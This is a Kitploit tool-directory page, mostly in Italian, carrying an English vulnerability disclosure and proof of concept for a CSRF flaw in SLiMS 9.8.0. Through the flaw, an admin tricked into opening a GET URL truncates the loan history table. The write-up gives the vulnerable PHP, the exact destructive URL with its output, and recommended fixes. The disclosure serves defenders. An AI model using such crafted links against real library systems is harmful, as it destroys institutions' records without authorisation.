Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-107084 — Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss. | Kitploit
Strumenti/GitHubGitHub/primandito/cve-2026-107084
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubprimandito/cve-2026-107084

CVE-2026-107084

Proof-of-concept and technical write-up for CVE-2026-107084, a CSRF flaw in SLiMS 9.8.0 loan history maintenance that lets an attacker trigger unauthenticated TRUNCATE data loss.

Vedi Repository
24 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    894
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    821
  • 3

    wifit3

    derv82/wifit3

    Wifite ma solo USB e multipiattaforma.

    649
  • 4

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    450
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    437
  • 6

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    389

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Contenuto non disponibile nella lingua richiesta. Visualizzazione della versione inglese.

CVE-2026-107084 — Cross-Site Request Forgery (CSRF) in SLiMS 9.8.0 Loan History Maintenance

CVE Version Status CVE State

Summary

SLiMS 9.8.0 allows Cross-Site Request Forgery (CSRF) against admin/modules/circulation/loan_history_maintenance.php. The action=run GET parameter performs privileged, destructive operations — specifically the TRUNCATE of the loan_history table (via task=empty or task=rebuild_all). This action is executed with no CSRF token and no POST confirmation.

Because SLiMS does not set the SameSite attribute on the admin session cookie, a top-level GET navigation (e.g., an admin clicking a crafted link or being redirected to the URL) still carries the session cookie. A cross-site `` fetch would be blocked from carrying the cookie by SameSite=Lax, but the navigation vector still applies.

Impact: An authenticated admin can be tricked into triggering a destructive GET request, resulting in Data Loss (complete truncation of loan history records).

FieldValue
CVE IDCVE-2026-107084
Official Recordcve.org/CVERecord?id=CVE-2026-107084
Affected VersionSLiMS 9.8.0 (master)
Vulnerability TypeCWE-352: Cross-Site Request Forgery (CSRF)
Attack VectorNetwork
Privileges RequiredNone (Requires user interaction by an authenticated admin)
Affected Componentadmin/modules/circulation/loan_history_maintenance.php (action=run, tasks empty, rebuild_all)
Original Reportslims/slims9_bulian#394

Affected Files

FileVulnerable Lines
admin/modules/circulation/loan_history_maintenance.php59–190

Vulnerable Code

admin/modules/circulation/loan_history_maintenance.php

Lines 59–190 — The main action handler accepts GET requests and performs destructive actions without any CSRF validation:

vulnerable get action

// lines 59-64
if (isset($_GET['action']) && $_GET['action'] === 'run') {
    @set_time_limit(0);
    @ob_implicit_flush(true);

    $task = $_GET['task'] ?? '';
    ...

The task=empty and task=rebuild_all directly execute a TRUNCATE query:

vulnerable truncate empty

vulnerable truncate rebuild

// case 'empty' and 'rebuild_all'
$ok = $dbs->query('TRUNCATE TABLE loan_history');

Contributing factor: Grepping for csrf or token in admin/modules/circulation/loan_history_maintenance.php returns no results. No CSRF token validation exists anywhere in the file.


Proof of Concept

Prerequisites

  • SLiMS 9.8.0 running locally (e.g. via the repository's own docker-compose.yml: php:8.3.13-apache + mariadb:lts)
  • Logged in as any valid admin account (any role with write access)

Step 1 — Inspect Current Loan History Count

Open the following URL in your browser to check the current stats:

http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=stats

Output:

Total loan: 0
Total loan_history: 5
Missing loan_history rows: 0

stats before

Step 2 — Trigger the Destructive GET (No CSRF Token, No Confirmation)

Open the following URL (this simulates an attacker tricking an admin into clicking a link):

http://localhost:8881/admin/modules/circulation/loan_history_maintenance.php?action=run&task=empty

Output:

Truncating loan_history ...
OK

truncate execution

Step 3 — Verify Data Loss

Open the stats URL again. The loan_history count is now 0. The test rows (e.g., loan_id 910001-910005) have been permanently deleted.

Output:

Total loan: 0
Total loan_history: 0
Missing loan_history rows: 0

stats after


Environment

system environment

ComponentVersion
SLiMS9.8.0 (master)
Operating SystemUbuntu 24.04
Web ServerApache 2.4.62 (Debian)
PHP8.3.13
MariaDB12.3.3-MariaDB-ubu2404
MySQL Clientmysqld 8.3.13
BrowserFirefox 156

Verified using the repository's own docker-compose.yml.


Recommended Fix

1. Require POST and CSRF Token (recommended)

TRUNCATE and rebuild_all tasks must require a POST request with a valid CSRF token (or explicit POST confirmation). Never run destructive actions from a bare GET.

if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('Invalid request or missing CSRF token.');
}

2. Set SameSite on Session Cookies

As a defense-in-depth measure, explicitly set SameSite=Lax or SameSite=Strict on the admin session cookie in php.ini or via session_set_cookie_params():

session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

Timeline

DateEvent
2026-10-05Issue #394 reported to SLiMS repository
2026-10-15Public write-up published (this repository)
2026-10-20Official CVE record published on cve.org
—Awaiting maintainer response on fix

References

  • Official CVE Record — CVE-2026-107084
  • Original report — slims/slims9_bulian#394
  • Related report — slims/slims9_bulian#391 (CVE-2026-107081)
  • Related report — slims/slims9_bulian#392 (CVE-2026-107082)
  • Related report — slims/slims9_bulian#393 (CVE-2026-107083)
  • CWE-352: Cross-Site Request Forgery (CSRF)
  • OWASP: Cross Site Request Forgery

Disclaimer

Scarica lo strumento